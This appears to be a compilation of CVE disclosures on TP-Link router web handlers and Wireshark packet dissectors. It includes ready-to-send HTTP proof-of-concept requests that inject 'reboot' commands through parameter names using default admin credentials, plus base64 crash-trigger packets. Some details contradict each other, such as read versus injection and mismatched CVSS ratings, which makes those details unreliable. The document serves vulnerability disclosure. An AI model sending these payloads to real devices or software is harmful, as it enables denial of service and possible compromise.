RenderDoc through 1.26 allows an Integer Overflow with a resultant Buffer Overflow (issue 1 of 2).

CVE-2023-33863

TP-Link TL-WR940N V2/V4, TL-WR841N V8/V10, and TL-WR740N V1/V2 was discovered to contain a buffer overflow via the component /userRpm/FixMapCfgRpm.

**TP-Link TL-WR940N/TL-WR841N/TL-WR740N wireless router /userRpm/FixMapCfgRpm buffer read out-of-bounds vulnerability****1 Basic Information**

*   Vulnerability Type: Buffer read out-of-bounds
*   Vulnerability Description: A buffer read out-of-bounds vulnerability exists in TP-Link TL-WR940N V2/V4、TL-WR841N V8/V10 and TL-WR740N V1/V2 wireless router. Its /userRpm/FixMapCfgRpm component has a security vulnerability in processing Changed GET key parameters, allowing remote attackers to submit special requests through the vulnerability, causing buffer out-of-bounds read errors, which may lead to memory-sensitive information leakage and denial of service.
*   Device model:
    *   TP-Link TL-WR940N V2/V4、TP-Link TL-WR841N V8/V10、TP-Link TL-WR740N V1/V2

**2 Vulnerability Value**

*   Maturity of Public Information: None
    
*   Order of Public Vulnerability Analysis Report: None
    
*   Stable reproducibility: yes
    
*   Vulnerability Score (refer to CVSS)
    
    *   V2：7.1 High AV:N/AC:H/Au:S/C:C/I:C/A:C
    *   V3.1：8.6 High AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
*   Exploit Conditions
    
    *   Attack Vector Type: Network
    *   Attack Complexity: Low
    *   Complexity of Exploit
        *   Permission Constraints: authentication is required
        *   User Interaction: No victim interaction required
    *   Scope of Impact: Changed (may affect other components than vulnerable ones)
    *   Impact Indicators:
        *   Confidentiality: High
        *   Integrity: High
        *   Availability: High
    *   Stability of vulnerability exploitation: Stable recurrence
    *   Whether the product default configuration: There are vulnerabilities in functional components that are enabled out of the factory
*   Exploit Effect
    
    *   Denial of Service

**3 PoC**

The PoC of TP-Link WR940N V4 is as follows:

GET /IFQHAXBBGJZJOIIA/userRpm/FixMapCfgRpm.htm?Mac=1C-BF-C0-7A-E0-03&Ip=192.168.2.139&State=1&Changed||CMD=$"reboot";$CMD=0&SelIndex=0&Page=1&Save=Save HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://127.0.0.1:8081/IFQHAXBBGJZJOIIA/userRpm/FixMapCfgRpm.htm?Add=Add&Page=1
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1

The PoC of TP-Link WR940N V2 is as follows:

GET /DTLZRKGAQEMSCUNA/userRpm/FixMapCfgRpm.htm?Mac=00-1D-0F-11-22-33&Ip=192.168.0.2&State=1&;=0&SelIndex=0&Page=1&Save=Save HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.0.1/KMODQNKANSQJBYFA/userRpm/FixMapCfgRpm.htm?Add=Add&Page=1
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1

The PoC of TP-Link WR841N V8 is as follows:

GET /userRpm/FixMapCfgRpm.htm?Mac=78-2B-46-90-5c-67&Ip=192.168.0.3&State=1&Changed|reboot=0&SelIndex=0&Page=1&Save=Save HTTP/1.1
Host: 0.0.0.0:49168
User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://0.0.0.0:49168/userRpm/FixMapCfgRpm.htm?Add=Add&Page=1
Cookie: Authorization=
Upgrade-Insecure-Requests: 1

The PoC of TP-Link WR841N V10 is as follows:

GET /PTSGMLKAISLZRVGB/userRpm/FixMapCfgRpm.htm?Mac=1C-BF-C0-7A-E0-04&Ip=192.168.3.1&State=1&;CMD=$'reboot';$CMD=0&SelIndex=0&Page=1&Save=Save HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://127.0.0.1:8081/BMKHACLAYMEWMEQA/userRpm/FixMapCfgRpm.htm?Add=Add&Page=1
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1

The PoC of TP-Link WR740N is as follows:

GET /userRpm/FixMapCfgRpm.htm?Mac=00-16-EA-AE-3C-40&Ip=192.168.0.3&State=1&Changed;reboot=0&SelIndex=0&Page=1&Save=Save HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Referer: http://192.168.1.1/userRpm/FixMapCfgRpm.htm?Add=Add&Page=1
Upgrade-Insecure-Requests: 1

**4 Vulnerability Principle**

When the Web management component receives a GET request, its /userRpm/FixMapCfgRpm component has a security vulnerability in processing the Changed GET key parameter. The Changed parameter itself is put into the stack without being checked, resulting in a denial of service. An attacker exploits this vulnerability to construct a payload of the Changed parameter, so that the carefully constructed parameter causes a buffer out-of-bounds read error, which may lead to the disclosure of memory-sensitive information and denial of service. Attackers can directly achieve the effect of denial of service by exploiting this vulnerability.

The firmware simulation process and interface are as follows:

After sending the constructed PoC, the cache area read out of bounds and a BadVA error occurred, resulting in denial of service.

**5\. The basis for judging as a 0-day vulnerability**

Searching the FixMapCfgRpm keyword in the NVD database did not find any vulnerabilities; searching the firmware model + parameter Changed keyword in the NVD database did not find any vulnerabilities, so it is considered a 0-day vulnerability.

CVE-2023-33537: iotvul/TL-WR940N_TL-WR841N_TL-WR740N_userRpm_FixMapCfgRpm.md at main · a101e-IoTvul/iotvul

TP-Link TL-WR940N V2/V4, TL-WR841N V8/V10, and TL-WR740N V1/V2 was discovered to contain a buffer overflow via the component /userRpm/WlanMacFilterRpm.

**TP-Link TL-WR940N/TL-WR841N/TL-WR740N wireless router /userRpm/WlanMacFilterRpm buffer read out-of-bounds vulnerability****1 Basic Information**

*   Vulnerability Type: Buffer read out-of-bounds
*   Vulnerability Description: A buffer overflow vulnerability exists in TP-Link TL-WR940N V2/V4、TL-WR841N V8/V10 and TL-WR740N V1/V2 wireless router. Its /userRpm/WlanMacFilterRpm component has a security vulnerability in processing Mac GET key parameters, allowing remote attackers to submit special requests through the vulnerability, causing buffer out-of-bounds read errors, which may lead to memory-sensitive information leakage and denial of service.
*   Device model:
    *   TP-Link TL-WR940N V2/V4、TP-Link TL-WR841N V8/V10、TP-Link TL-WR740N V1/V2

**2 Vulnerability Value**

*   Maturity of Public Information: None
    
*   Order of Public Vulnerability Analysis Report: None
    
*   Stable reproducibility: yes
    
*   Vulnerability Score (refer to CVSS)
    
    *   V2：7.1 High AV:N/AC:H/Au:S/C:C/I:C/A:C
    *   V3.1：8.6 High AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
*   Exploit Conditions
    
    *   Attack Vector Type: Network
    *   Attack Complexity: Low
    *   Complexity of Exploit
        *   Permission Constraints: authentication is required
        *   User Interaction: No victim interaction required
    *   Scope of Impact: Changed (may affect other components than vulnerable ones)
    *   Impact Indicators:
        *   Confidentiality: High
        *   Integrity: High
        *   Availability: High
    *   Stability of vulnerability exploitation: Stable recurrence
    *   Whether the product default configuration: There are vulnerabilities in functional components that are enabled out of the factory
*   Exploit Effect
    
    *   Denial of Service

**3 PoC**

The PoC of TP-Link WR940N V4 is as follows:

GET /LVHFBYIBSYXBAXRA/userRpm/WlanMacFilterRpm.htm?Mac;CMD=$'reboot';$CMD=1C-BF-C0-7A-E0-03&Desc=&Type=1&entryEnabled=1&Changed=0&SelIndex=0&Page=1&vapIdx=1&Save=Save HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://127.0.0.1:8081/LVHFBYIBSYXBAXRA/userRpm/WlanMacFilterRpm.htm?Add=Add&Page=1&vapIdx=
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1

The PoC of TP-Link WR940N V2 is as follows:

GET /CAKDBATBHJTUFMRC/userRpm/WlanMacFilterRpm.htm?|=00-1D-0F-11-22-33&Desc=123&Type=1&entryEnabled=1&Changed=0&SelIndex=0&Page=1&vapIdx=1&Save=Save HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.0.1/KMODQNKANSQJBYFA/userRpm/WlanMacFilterRpm.htm?Add=Add&Page=1&vapIdx=
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1

The PoC of TP-Link WR841N V8 is as follows:

GET /userRpm/WlanMacFilterRpm.htm?Mac?=78-2B-46-90-5c-67&Desc=rwsef&Type=1&entryEnabled=1&Changed=0&SelIndex=0&Page=1&vapIdx=1&Save=Save HTTP/1.1
Host: 0.0.0.0:49168
User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://0.0.0.0:49168/userRpm/WlanMacFilterRpm.htm?Add=Add&Page=1&vapIdx=
Cookie: Authorization=
Upgrade-Insecure-Requests: 1

The PoC of TP-Link WR841N V10 is as follows:

GET /OTRRRRDAFITRVSAA/userRpm/WlanMacFilterRpm.htm?MacCMD=$"reboot";$CMD=1C-BF-C0-7A-E0-04&Desc=des&Type=1&entryEnabled=1&Changed=0&SelIndex=0&Page=1&vapIdx=1&Save=Save HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://127.0.0.1:8081/BMKHACLAYMEWMEQA/userRpm/WlanMacFilterRpm.htm?Add=Add&Page=1&vapIdx=
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1

The PoC of TP-Link WR740N is as follows:

GET /userRpm/WlanMacFilterRpm.htm?Mac;reboot|=00-16-EA-AE-3C-40&Desc=a&Type=1&entryEnabled=1&Changed=0&SelIndex=0&Page=1&Save=Save HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Referer: http://192.168.1.1/userRpm/WlanMacFilterRpm.htm?Add=Add&Page=1
Upgrade-Insecure-Requests: 1

**4 Vulnerability Principle**

When the Web management component receives a GET request, its /userRpm/WlanMacFilterRpm component has a security vulnerability in processing the Mac address GET key parameter. The Mac parameter itself is put into the stack without being checked, resulting in a denial of service. Attackers exploit this vulnerability to construct Mac parameters, causing buffer out-of-bounds read errors, which may lead to memory-sensitive information disclosure and denial of service. Attackers can use this vulnerability to directly achieve the effect of denial of service attacks.

The firmware simulation process and interface are as follows:

After sending the constructed PoC, the cache area read out of bounds and a BadVA error occurred, resulting in denial of service.

**5\. The basis for judging as a 0-day vulnerability**

Searching the WlanMacFilterRpm keyword in the NVD database did not find any vulnerabilities; searching the firmware model + parameter Mac keyword in the NVD database did not find any vulnerabilities, so it is considered a 0-day vulnerability.

CVE-2023-33536: iotvul/TL-WR940N_TL-WR841N_TL-WR740N_userRpm_WlanMacFilterRpm.md at main · a101e-IoTvul/iotvul

Due to failure in validating the length provided by an attacker-crafted MSMMS packet, Wireshark version 4.0.5 and prior, in an unusual configuration, is susceptible to a heap-based buffer overflow, and possibly code execution in the context of the process running Wireshark

Skip to content

Open Issue created May 18, 2023 by **Gerald Combs@geraldcombs**Owner

**MSMMS parsing buffer overflow**

AHA! has discovered an issue with Wireshark, and is issuing this disclosure in accordance with AHA!'s standard disclosure policy on 2023-05-16. CVE-2023-0667 has been assigned to this issue. Any questions about this disclosure should be directed to cve@takeonme.org.

**Executive Summary**

Due to failure in validating the length provided by an attacker-crafted MSMMS packet, Wireshark version 4.0.5 and prior, by default, is susceptible to a heap-based buffer overflow, and possibly code execution in the context of the process running Wireshark. CVE-2023-0667 appears to be an instance of CWE-122.

**Technical Details**

On line 391, a command id is retrieved from the packet at 0x24.

/wireshark/epan/dissectors/packet-ms-mms.c

     388
     389     /* Read command ID and direction now so can give common command header a
     390        descriptive label */
     391     command_id = tvb_get_letohs(tvb, 36);
     392     command_dir = tvb_get_letohs(tvb, 36+2);
     393
     394
     395     /*************************/
     396     /* Common command header */

Then on line 441 a length is retrieved from the msmms packet payload. In our crash file, this length value is 0x4.

/wireshark/epan/dissectors/packet-ms-mms.c

     436     /* Timestamp */
     437     proto_tree_add_item(msmms_common_command_tree, hf_msmms_command_timestamp, tvb, offset, 8, ENC_LITTLE_ENDIAN);
     438     offset += 8;
     439
     440     /* Another length remaining field... */
     441     length_remaining = tvb_get_letohl(tvb, offset);
     442     proto_tree_add_item(msmms_common_command_tree, hf_msmms_command_length_remaining2, tvb, offset, 4, ENC_LITTLE_ENDIAN);
     443     offset += 4;
     444

Following, on line 471, the length is multiplied by 8, then 8 is subtracted from the new total leaving a value of 0x18 (24).

/wireshark/epan/dissectors/packet-ms-mms.c

     461     /* Show summary in info column */
     462     col_append_fstr(pinfo->cinfo, COL_INFO,
     463                     "seq=%03u: %s %s",
     464                     sequence_number,
     465                     (command_dir == TO_SERVER) ? "-->" : "<--",
     466                     (command_dir == TO_SERVER) ?
     467                         val_to_str_const(command_id, to_server_command_vals, "Unknown") :
     468                         val_to_str_const(command_id, to_client_command_vals, "Unknown"));
     469
     470     /* Adjust length_remaining for command-specific details */
     471     length_remaining = (length_remaining*8) - 8;
     472

Following the length remaining calculation, the command_id retrieved earlier is used to determine the command type and on line 480, the dissect_client_transport_info is called

/wireshark/epan/dissectors/packet-ms-mms.c

     473     /* Now parse any command-specific params */
     474     if (command_dir == TO_SERVER)
     475     {
     476         /* Commands to server */
     477         switch (command_id)
     478         {
     479             case SERVER_COMMAND_TRANSPORT_INFO:
     480                 dissect_client_transport_info(tvb, pinfo, msmms_tree,
     481                                               offset, length_remaining);
     482                 break;

Entering the dissect_client_transport_info function, the length_remaining is 24 and the offset is 40. /wireshark/epan/dissectors/packet-ms-mms.c

     715 static void dissect_client_transport_info(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree,
     716                                           guint offset, guint length_remaining)
     717 {
     718     char    *transport_info;
     719     guint   ipaddr[4];
     720     char    protocol[3+1] = "";
     721     guint   port;
     722     int     fields_matched;
     723

On line 736, the length_remaining (at this point still equalling 24, has 20 subtracted from it, leaving 4 and then being passed as the length value to the tvb_get_string_enc function and the offset value equalling 60.

/wireshark/epan/dissectors/packet-ms-mms.c

     734
     735     /* Extract and show the string in tree and info column */
     736     transport_info = tvb_get_string_enc(pinfo->pool, tvb, offset, length_remaining - 20, ENC_UTF_16|ENC_LITTLE_ENDIAN);
     737
     738     proto_tree_add_string_format(tree, hf_msmms_command_client_transport_info, tvb,
     739                                  offset, length_remaining-20,
     740                                  transport_info, "Transport: (%s)", transport_info);
     741
     742     col_append_fstr(pinfo->cinfo, COL_INFO, " (%s)",
     743                     format_text(pinfo->pool, (guchar*)transport_info, length_remaining - 20));
     744
     745
     746     /* Try to extract details from this string */
     747     fields_matched = sscanf(transport_info, "%*c%*c%u.%u.%u.%u%*c%3s%*c%u",
     748                             &ipaddr[0], &ipaddr[1], &ipaddr[2], &ipaddr[3],
     749                             protocol, &port);

tvb_get_utf_16_string then calls get_utf_16_string, passing the length value (4).

/wireshark/epan/tvbuff.c

    2840 static guint8 *
    2841 tvb_get_utf_16_string(wmem_allocator_t *scope, tvbuff_t *tvb, const gint offset, gint length, const guint encoding)
    2842 {
    2843         const guint8  *ptr;
    2844
    2845         ptr = ensure_contiguous(tvb, offset, length);
    2846         return get_utf_16_string(scope, ptr, length, encoding);
    2847 }

Following the above, in get_utf_16_string on line 745, the strbuf variable is initialized through the wmem_strbuf_new_sized call.

/wireshark/epan/charsets.c

     738 get_utf_16_string(wmem_allocator_t *scope, const guint8 *ptr, gint length, const guint encoding)
     739 {
     740     wmem_strbuf_t *strbuf;
     741     gunichar2      uchar2, lead_surrogate;
     742     gunichar       uchar;
     743     gint           i;       /* Byte counter for string */
     744
     745     strbuf = wmem_strbuf_new_sized(scope, length+1);
     746
     747     for(i = 0; i + 1 < length; i += 2) {
     748         if (encoding == ENC_BIG_ENDIAN)
     749             uchar2 = pntoh16(ptr + i);
     750         else
     751             uchar2 = pletoh16(ptr + i);
     752

In the wmem_strbuf_new_sized function, the strbuf is initially allocated with an 0x10 size.

wireshark/wsutil/wmem/wmem_strbuf.c

     30 wmem_strbuf_t *
     31 wmem_strbuf_new_sized(wmem_allocator_t *allocator,
     32                       size_t alloc_size)
     33 {
     34     wmem_strbuf_t *strbuf;
     35
     36     strbuf = wmem_new(allocator, wmem_strbuf_t);
     37
     38     strbuf->allocator = allocator;
     39     strbuf->len       = 0;
     40     strbuf->alloc_size = alloc_size ? alloc_size : DEFAULT_MINIMUM_SIZE;
     41
     42     strbuf->str    = (gchar *)wmem_alloc(strbuf->allocator, strbuf->alloc_size);
     43     strbuf->str[0] = '\0';
     44
     45     return strbuf;
     46 }

Then, back in get_utf_16_string function, we enter the for loop which helps determine the size of strbuf. In the attached crash this for loop is iterated through twice both times going through line 777 and hitting the wmem_strbuf_append_unichar function.

wireshark/epan/charsets.c

     747     for(i = 0; i + 1 < length; i += 2) {
     748         if (encoding == ENC_BIG_ENDIAN)
     749             uchar2 = pntoh16(ptr + i);
     750         else
     751             uchar2 = pletoh16(ptr + i);
     752
     753         if (IS_LEAD_SURROGATE(uchar2)) {
     754             /*
     755              * Lead surrogate.  Must be followed by
     756              * a trail surrogate.
     757              */
     758             i += 2;
     759             if (i + 1 >= length) {
     760                 /*
     761                  * Oops, string ends with a lead surrogate.
     762                  *
     763                  * Insert a REPLACEMENT CHARACTER to mark the error,
     764                  * and quit.
     765                  */
     766                 wmem_strbuf_append_unichar(strbuf, UNREPL);
     767                 break;
     768             }
     769             lead_surrogate = uchar2;
     770             if (encoding == ENC_BIG_ENDIAN)
     771                 uchar2 = pntoh16(ptr + i);
     772             else
     773                 uchar2 = pletoh16(ptr + i);
     774             if (IS_TRAIL_SURROGATE(uchar2)) {
     775                 /* Trail surrogate. */
     776                 uchar = SURROGATE_VALUE(lead_surrogate, uchar2);
     777                 wmem_strbuf_append_unichar(strbuf, uchar);
     778             } else {

Each call to wmem_strbuf_append_unichar incrementing the strbuf->len value (leaving a length of 2).

\`wireshark/wsutil/wmem/wmem\_strbuf.c

    234 wmem_strbuf_append_unichar(wmem_strbuf_t *strbuf, const gunichar c)
    235 {
    236     gchar buf[6];
    237     size_t charlen;
    238
    239     charlen = g_unichar_to_utf8(c, buf);
    240
    241     wmem_strbuf_grow(strbuf, charlen);
    242
    243     memcpy(&strbuf->str[strbuf->len], buf, charlen);
    244     strbuf->len += charlen;
    245     strbuf->str[strbuf->len] = '\0';
    246 }

Finally, at the bottom of the loop within get_utf_16_string, the wmem_strbuf_finalize function is called.

/wireshark/epan/charsets.c

     804     }
     805
     806     /*
     807      * If i < length, this means we were handed an odd number of bytes,
     808      * so we're not a valid UTF-16 string; insert a REPLACEMENT CHARACTER
     809      * to mark the error.
     810      */
     811     if (i < length)
     812         wmem_strbuf_append_unichar(strbuf, UNREPL);
     813     return (guint8 *) wmem_strbuf_finalize(strbuf);
     814 }

The wmem_strbuf_finalize() function then calls wmem_realloc() setting the size of the strbuf->str buffer to strbuf->len+1 (equalling 3)

wireshark/wsutil/wmem/wmem_strbuf.c

    382 char *
    383 wmem_strbuf_finalize(wmem_strbuf_t *strbuf)
    384 {
    385     if (strbuf == NULL)
    386         return NULL;
    387
    388     char *ret = (char *)wmem_realloc(strbuf->allocator, strbuf->str, strbuf->len+1);
    389
    390     wmem_free(strbuf->allocator, strbuf);
    391
    392     return ret;
    393 }

Following the above, a ptr to the buffer is returned to the dissect_client_transport_info function where it is later used with the length of 4 bytes allowing for a 1 byte read within the format_text function.

Base64'd blob of the proof of concept. Note that this must be run with fuzzshark as tshark will not crash:

    Ex4JdM76C7DO+guwTU1TDXr/igDv/9+KigEAAA0BAAAEAAAAAgADAAAAAAAAAAABNAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2wAa29vb29vb29vbEz4JAc4H

**Attacker Value**

Passing the above blob to fuzzshark will trigger a heap overflow, and any crash in fuzzshark is necessarily is a bug in Wireshark library code, including the Wireshark GUI application and TShark, as they all hit the same code paths. Therefore, we're confident that a specially crafted MSMSS packet that implements this crash behavior is almost certainly exploitable, but we would like to have confirmation from the vendor on the exploitability before assigning this CVE ID.

**Credit**

This issue is being disclosed through the AHA! CNA and is credited to: zenofex and WanderingGlitch

**Timeline**

*   2023-04-27 (Wed): Initial findings presented at the regularly scheduled AHA! meeting.
*   2023-05-17 (Wed): PoC validated and anaylsis completed for disclosure.
*   2023-05-18 (Thu): Disclosed to the vendor via email at security@wireshark.org.
*   ... time marches on ....
*   2023-07-17 (Mon): (Planned) Public disclosure at https://takeonme.org/cve/CVE-2023-0667.html

Reproducers:

cve-2023-0667.fuzz

cve-2023-0667.pcap

Edited May 18, 2023 by Gerald Combs

CVE-2023-0667: MSMMS parsing buffer overflow (#19086) · Issues · Wireshark Foundation / wireshark · GitLab

Due to failure in validating the length provided by an attacker-crafted IEEE-C37.118 packet, Wireshark version 4.0.5 and prior, by default, is susceptible to a heap-based buffer overflow, and possibly code execution in the context of the process running Wireshark.

**CVE-2023-0668: Wireshark IEEE-C37.118 parsing buffer overflow**

AHA! has discovered an issue with Wireshark from The Wireshark Foundation, and is issuing this disclosure in accordance with AHA!’s standard disclosure policy today, on Monday, June 5, 2023. CVE-2023-0668 has been assigned to this issue.

**Executive Summary**

Due to failure in validating the length provided by an attacker-crafted IEEE-C37.118 packet, Wireshark version 4.0.5 and prior, by default, is susceptible to a heap-based buffer overflow, and possibly code execution in the context of the process running Wireshark. CVE-2023-0668 appears to be an instance of CWE-125.

**Technical Details**

This crash is caused by an out of bounds read from the global buffer conf_phasor_type

\*\* Note the below array contains 17 items

wireshark/epan/dissectors/packet-synphasor.c

     363 static const value_string conf_phasor_type[] = {               
     364         { 0, "Voltage, Zero sequence"           },
     365         { 1, "Voltage, Positive sequence"       },
     366         { 2, "Voltage, Negative sequence"       },
     367         { 3, "Voltage, Reserved"                },                
     368         { 4, "Voltage, Phase A"                 },                
     369         { 5, "Voltage, Phase B"                 },
     370         { 6, "Voltage, Phase C"                 },
     371         { 7, "Voltage, Reserved"                },
     372         { 8, "Current, Zero sequence"           },
     373         { 9, "Current, Positive sequence"       },
     374         { 10, "Current, Negative sequence"      },
     375         { 11, "Current, Reserved"               },
     376         { 12, "Current, Phase A"                },
     377         { 13, "Current, Phase B"                },
     378         { 14, "Current, Phase C"                },
     379         { 15, "Current, Reserved"               },
     380         {  0, NULL                              }
     381 };
    

In dissect_PHSCALE (which can be found in the top frame of the stack trace.) on line 1214, the tvb_get_guint8 function is used to retrieve 1 byte from the synphasor packet payload, and then uses that value as an index into the conf_phasor_type array without performing any bounds checks.

wireshark/epan/dissectors/packet-synphasor.c

    1190 static gint dissect_PHSCALE(tvbuff_t *tvb, proto_tree *tree, gint offset, gint cnt)
    1191 {       
    1192         proto_tree *temp_tree;
    1193         gint i;
    1194 
    1195         if (0 == cnt) {
    1196                 return offset;
    1197         }
    1198 
    1199         temp_tree = proto_tree_add_subtree_format(tree, tvb, offset, 12 * cnt, ett_conf_phconv, NULL,
    1200                                                   "Phasor scaling and data flags (%u)", cnt);
    1201         
    1202         for (i = 0; i < cnt; i++) {
    1203                 proto_tree *single_phasor_scaling_and_flags_tree;
    1204                 proto_tree *phasor_flag1_tree;
    1205                 proto_tree *phasor_flag2_tree;
    1206                 proto_tree *data_flag_tree;
    1207 
    1208                 single_phasor_scaling_and_flags_tree = proto_tree_add_subtree_format(temp_tree, tvb, offset, 12,
    1209                                                                                      ett_conf_phlist, NULL,
    1210                                                                                      "Phasor #%u", i + 1);
    1211         
    1212                 data_flag_tree = proto_tree_add_subtree_format(single_phasor_scaling_and_flags_tree, tvb, offset, 4,
    1213                                                                ett_conf_phflags, NULL, "Phasor Data flags: %s",
    1214                                                                conf_phasor_type[tvb_get_guint8(tvb, offset + 2)].strptr);
    1215         
    1216                 /* first and second bytes - phasor modification flags*/
    1217                 phasor_flag1_tree = proto_tree_add_subtree_format(data_flag_tree, tvb, offset, 2, ett_conf_phmod_flags,
    1218                                                                   NULL, "Modification Flags: 0x%04x",
    1219                                                                   tvb_get_ntohs(tvb, offset));
    1220         
    

A Base64 encoded blob of an example PCAP that can trigger the issue is below.

    1MOyoQIABAAAAAAAAAAAAP9/AAD8AAAAAAAAAAAAAAAdAQAAHQEAAAAOAAh1ZHAuc
    G9ydAAgAAQAABJpAAAAAKpZAKpZAAIAAADxQgAUAAAAAQAAAAIALAAAAAAAAAAAAA
    9CQP8vAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAgAsAAAAAAAAAAA
    AD0JA/y8AAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    ABEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4rAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    BRQkgUAAD3EwD/AAAAAAAAAAAAIQAAABERAQD///8AAA==
    

**Attacker Value**

By providing this poisoned IEEE C37.118 packet, an attacker could hijack the user account of an analyst running Wireshark. Many security appliances capture packets as a matter of course for later analysis, and Wireshark is a common tool used by incident responders. So, it would be trivial for an attacker to intentionally “get caught” in order to provide their malicious packet to an incident response analyst. Once compromised, this can provide an attacker a unique, privileged position in the targeted network.

**Credit**

This issue is being disclosed through the AHA! CNA and is credited to: zenofex and WanderingGlitch

**Timeline**

Note, while we expected to publicly disclose this issue in early July (60 days after disclosure to The Wireshark Foundation), the vendor publicized the issue on May 22nd in issue 19087.

*   2023-04-27 (Wed): Initial findings presented at the regularly scheduled meeting 0x00c7.
*   2023-05-17 (Wed): PoC validated and analysis completed for disclosure.
*   2023-05-18 (Thu): Disclosed to the vendor via email at \[email protected\].
*   2023-05-18 (Thu): Vendor acknowledged, and opened issue 19087 to address.
*   2023-05-21 (Sun): Patch merged to the release-3.6 and release-4.0 branches of Wireshark.
*   2023-05-22 (Mon): Issue 19087 made public by the vendor.
*   2023-05-24 (Wed): CVE-2023-0668 fixed in Wireshark version 4.0.6
*   2023-06-06 (Tue): Public disclosure of CVE-2023-0668

CVE-2023-0668: CVE-2023-0668 • Austin Hackers Academy

Due to failure in validating the length provided by an attacker-crafted RTPS packet, Wireshark version 4.0.5 and prior, by default, is susceptible to a heap-based buffer overflow, and possibly code execution in the context of the process running Wireshark.

